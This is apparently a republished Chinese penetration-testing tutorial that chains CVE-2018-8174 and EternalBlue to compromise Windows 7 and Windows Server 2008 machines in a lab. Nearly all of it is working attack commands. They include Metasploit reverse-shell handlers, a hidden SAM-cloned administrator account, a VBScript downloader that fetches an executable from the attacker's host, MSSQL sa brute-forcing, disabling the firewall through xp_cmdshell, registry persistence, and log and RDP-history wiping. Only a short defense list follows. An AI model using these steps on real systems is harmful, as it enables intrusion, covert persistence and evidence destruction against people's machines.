Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

0
0

本文涉及的知识点: CVE-2018-8174漏洞复现 、 内网渗透 、 权限维持 、 脚本编程 、 痕迹清除

CVE-2018-8174漏洞简介

CVE-2018-8174是 windows VBScript Engine 代码执行漏洞。由于VBScript脚本执行引擎(vbscript.dll)存在代码执行漏洞,攻击者可以将恶意的VBScript嵌入到Office文件或者网站中,一旦用户不小心点击,远程攻击者可以获取当前用户权限执行脚本中的恶意代码,该漏洞影响最新版本的IE浏览器及使用了IE内核的应用程序。用户在浏览网页或打开Office文档时都可能中招,最终被黑客植入后门木马完全控制电脑。在基于Web的攻击情形中,攻击者能通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。

Persistence后门

Persistence是一款使用安装自启动方式的持久性后门程序,读者可以利用 它创建注册和文件。 参数解释:

A: 自动启动Payload程序 S: 系统启动时自动加载 U: 用户登录时自动启动 X: 开机时自动加载 i: 回连的时间间隔 P: 监听反向连接端口号 r: 目标机器IP地址 环境搭建 拓扑图
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
Win server 2008 对Windows 7开启1433端口

选择“打开或者关闭Windows防火墙”把防火墙打开,然后选择“高级设置”,选择“创建规则”来指定端口。

在“入站规则”里选择刚才创建的规则,名称是“1433”,如下图所示
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
在属性对话框中,选择“远程IP地址”时,使用Windows7 的IP地址:172.20.10.177,配置完成后,Win server 2008 对Windows7成功开启1433端口
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
内网攻击过程 1号机获得2号机的权限 利用CVE-2018-8174漏洞获取2号机(Windows 7)权限,添加攻击者用户

1.从github上克隆CVE-2018-8174的EXP到Kali linux

git clone https://github.com/iBearcat/CVE-2018-8174_EXP.git
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

2.生成恶意html和rtf文件 cd CVE-2018-8174_EXP/

python CVE-2018-8174.py -u http://192.168.114.130/exploit.html -o exploit.rtf -i 192.168.114.130 -p 4444
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

3.将恶意html文件移动到网站根目录,启动apache2服务

cp exploit.html /var/www/html/ service apache2 start
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

4.新打开一个终端,生成MSF监听

msfconsole -x "use exploit/multi/handler; set PAYLOAD Windows/shell/reverse_tcp; set LHOST 192.168.114.130; set lport 4444; run"
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

5.受害者点击恶意链接


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

6.在kali里接收到了shell,可在meterpreter中管理shell 发现非管理员权限


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
7.使用MS17-010模块进行提权 use auxiliary/scanner/smb/smb_ms17_010
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

在运行该模块之前,需要设置相关选项,我们使用show options查看配 置信息


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

8.需要设置目标地址,设置命令: set RHOSTS 192.168.114.138


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
9.设置完成后,执行run或exploit命令,等待执行结果,发现存在永恒之蓝漏洞
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

10.使用漏洞利用模块

use exploit/Windows/smb/ms17_010_eternalblue
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
11.查看配置信息,并设置标记为yes的属性, show options ,目标机host 地址:192.168.114.138, set RHOST 192.168.114.138
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

12.选择载荷payload,也就是shellcode,此处我们选择回连至控制端 shell的payload

set payload Windows/x64/meterpreter/reverse_tcp
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

同样,载荷也需要进行配置,show options查看配置信息 配置中缺少本地主机 LHOST,设置一下

set LHOST 192.168.114.130


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
13.完成配置后,运行exploit或者run,开始执行漏洞利用模块 成功获取来自目标主机的Session会话
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
14.查看受害者机器相关信息
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

15.成功使用MS17010获得系统权限


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
16.发现未开启3389端口
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

17.添加3389入站规则

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

18.开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
19.成功打开3389端口
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

20.创建管理员用户Waldo

net user Waldo 123456hhhh. /add

net localgroup administrators Waldo /add
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
21.使用Waldo账户远程登录 portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
rdesktop 127.0.0.1 -u Waldo -p 123456hhhh.
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
添加超级隐藏管理员账户

net user test$ 123456 /add

net localgroup administrators test$ /add


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
但在管理账户面板依然能够看见,下面要解决这个问题
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

在注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names 下找 到新建的帐户test$

获取默认类型为0x3ec,将注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$ 导出为1.reg

在注册表下能够找到对应类型名称的注册表项 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EC


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

右键将该键导出为2.reg,保存的文件信息如下图


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

默认情况下,管理员帐户Administrator对应的注册表键值为 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 同样,右键将该键导出为3.reg

将注册表项 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA 下键 F 的值替换为 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 下键 F 的值,即2.reg中键 F 的值替换成3.reg中键 F 的值

替换后,如图


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

命令行删除特殊账户: net user test$ /del

导入reg文件:

regedit /s 1.reg

regedit /s 2.reg

隐藏账户制做完成,控制面板不存在帐户test$

通过net user无法列出该帐户 计算机管理-本地用户和组-用户也无法列出该帐户 但可通过如下方式查看: net user test$


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

命令窗口打开后,键入 net user test$/active:yes 。输完后按一下回车键看到“命令成功完成”信息即表明超级隐藏账户test$ 账户已启用

端口转发: portfwd add -l 3389 -L 127.0.0.1 -p 3389 -r 192.168.114.138

使用超级隐藏账户登录: rdesktop 127.0.0.1 -u test$ -p 123456


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

Windows 不会显示隐藏账户


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
使用vbs脚本上传SQLTOOLS.exe

注: 使用 service apache2 start 将kali linux apache2服务打开,可以使之充当服务器,将需要上传的文件放在 /var/www/html 目录下

脚本如下:

url = "http://192.168.114.130/SQL.exe" '网络上的文件地址 saveas = "C:\hack\SQL.exe" '保存成的本地文件 Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象 Set stream = CreateObject("ADODB.Stream") '创建ADO数据流对象 Call xmlhttp.open("GET",url,False)'打开连接 Call xmlhttp.send()'发送请求 stream.mode = 3 '设置数据流为读写模式 stream.type = 1 '设置数据流为二进制模式 Call stream.open()'打开数据流 Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流 Call stream.savetofile(saveas,2)'将数据流保存为文件 '释放对象 Set xmlhttp = Nothing Set stream = Nothing

在shell下,创建文件夹: mkdir C:\\hack\\

将脚本上传到创建好的名为hack的文件夹下:

meterpreter > upload /root/down1.vps C:\\hack


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

查看C:\hack确认上传成功:


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

运行cscript down1.vbs,上传SQLTOOLS软件:


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

Kali对Windows 7(192.168.114.138)的权限维持见**权限维持**模块

从Windows 7进攻Windows server 2008 对Windws server 2008的sa账户进行爆破 使用nmap扫描发现172.20.10.208开了1433端口

nmap -p1433 --open 172.20.10.0/24


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
使用ms-sql-brute模块对Win server 2008的sa账户进行爆破,获得用户名为sa,密码为123456

name.txt和password.txt是爆破用的字典

nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo\Desktop\name.txt,passdb=C:\Users\Waldo\Desktop\password.txt 172.20.10.208
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
利用sqltoos获取Win server 2008 的权限 使用sqltools进行sql连接
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

用xp_cmdshell关闭防火墙限制

netsh firewall set opmode mode=disable


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
添加3389入站规则 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

4.开启3389端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
创建管理员用户Waldo6TEST

net user Waldo2008 1234567hhhh. /add

net localgroup administrators Waldo2008 /add


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
Windows 7中远程登录Win server 2008 在Windows 7 使用用户名Wado2008T 密码1234567hhhh.成功登陆Win server 2008
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
权限维持(Kali到Windows7) run persistence -X -i 5 -p 1121 -r 192.168.114.130 ,这里在Meterpreter会话中运行persistence后渗透攻击模块,在目标主机的注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 添加下图中倒数第一个[*],达到自启动的目的,-X参数指定启动的方式为开机自启动,-i参数指定反向连接的时间间隔
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击

然后建立Meterpreter的客户端,在指定回来的1121端口进行监听,待Windows 7(192.168.114.138),等待后门重新连接,具体操作命令如下:

msfconsole use exploit/multi/handler set PAYLOAD Windows/meterpreter/reverse_tcp set LHOST 192.168.114.130 set lport 1121 run
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
痕迹清除 使用清除远程连接历史记录的BAT脚本
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
clearev命令

未清除时Windows 7(192.168.114.138)中的日志


基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
基于Windows VBScript Engine代码执行漏洞 (CVE-2018-8174)的内网渗透攻击
脚本分析 目标机器下载程序的vbs脚本

注: 使用 service apache2 start 将kali linux apache2服务打开,可以使之充当服务器,将需要上传的文件放在 /var/www/html 目录下

url = "http://192.168.114.130/SQL.exe" '网络上的文件地址 saveas = "C:\hack\SQL.exe" '保存成的本地文件 Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象 Set stream = CreateObject("ADODB.Stream") '创建ADO数据流对象 Call xmlhttp.open("GET",url,False)'打开连接 Call xmlhttp.send()'发送请求 stream.mode = 3 '设置数据流为读写模式 stream.type = 1 '设置数据流为二进制模式 Call stream.open()'打开数据流 Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流 Call stream.savetofile(saveas,2)'将数据流保存为文件 '释放对象 Set xmlhttp = Nothing Set stream = Nothing 清除3389远程桌面连接记录的批处理脚本 @cls ::清屏 @color 0b ::设置默认的控制台前景和背景颜色 ::REM清除mstsc历史记录 echo off ::echo off执行以后,后面所有的命令均不显示,但本条命令是显示的 mstsc reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f cd /d %USERPROFILE% del *.rdp /a/s

解释: /f: 不提示 /a: 删除隐藏文件

如何防御

1.不要打开任何来源不明的链接或Office文档

2.及时更新并安装微软发布的最新补丁

3.定期查看日志和管理用户界面

4.及时更新杀毒软件,并对计算机进行杀毒

Previous

计算机操作系统学习


Viewing all articles
Browse latest Browse all 12749